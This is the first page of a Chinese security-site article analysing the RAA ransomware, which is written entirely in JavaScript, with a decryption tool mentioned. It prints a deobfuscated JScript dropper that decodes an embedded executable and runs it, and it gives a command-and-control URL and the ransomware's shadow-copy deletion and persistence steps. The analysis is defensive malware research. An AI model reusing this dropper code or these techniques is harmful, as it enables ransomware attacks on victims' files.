欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

一个纯JS脚本的文档敲诈者剖析(附解密工具)

来源:本站整理 作者:腾讯电脑管家 时间:2016-07-15 TAG: 我要投稿

0x00 概述


近日,腾讯反病毒实验室拦截到一个名为RAA的敲诈者木马,其所有的功能均在JS脚本里完成。这有别于过往敲诈者仅把JS脚本当作一个下载器,去下载和执行真正的敲诈者木马。采用JS脚本编写木马,混淆加密更加容易,并且增加了杀软的查杀难度,敲诈者木马与杀软的对抗进一步升级。但是经分析,发现名为RAA的敲诈者木马在部分场景下存在逻辑缺陷,可实现对加密文档的解密。(解密工具见附件)

0x01 样本分析


1、运行JS后,首先会在My Documents目录下释放一个假文档,文件名形如:doc_attached_*,并且用记事本打开;文档内容是提示用户该文档无法正常打开。

pic1

pic2

2、打开假文档之后,释放exe病毒。在JS中,存有exe数据,并且释放exe病毒的代码也经过有加密,解密后执行释放exe病毒、运行;该exe会进一步下载释放其他恶意软件,在此不进一步详细分析。

pic3

代码解密后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var flo = new ActiveXObject ("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.CharSet = "437";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.Position = 0;
flo.SetEOS;
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
flo.Close;
wher = "\"" + wher + "\"";
runer.Run(wher);

pic4

3、加密前,首先会去读注册表HKCU\RAA\Raa-fnl\键值,如果存在则判定该机器已经加密过,不再加密。

pic5

4、创建启动项

pic6

pic7

5、删除系统服务VSS,使得用户无法从备份从恢复文件。

pic8

6、将生成用户ID写入注册表HKCU\RAA\Raa-ID

pic9

pic10

7、将用户ID附加上“ - RAA”,生成如下url:

http:// datagiverd.com/mars9.php?id=XXXXXXXXX – RAA,用GET方式获取数据。

pic11

返回数据用于生成加密密钥和生成比特币钱包地址,后面详细分析。

8、遍历目录,当遇到在如下目录的文件,便会过滤不加密:

WINDOWS, RECYLER, Program Files, Program Files (x86),
Windows, Recycle.Bin, Recycler, TEMP, APPDATA, AppData,
Temp, ProgramData, Microsoft

pic12

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载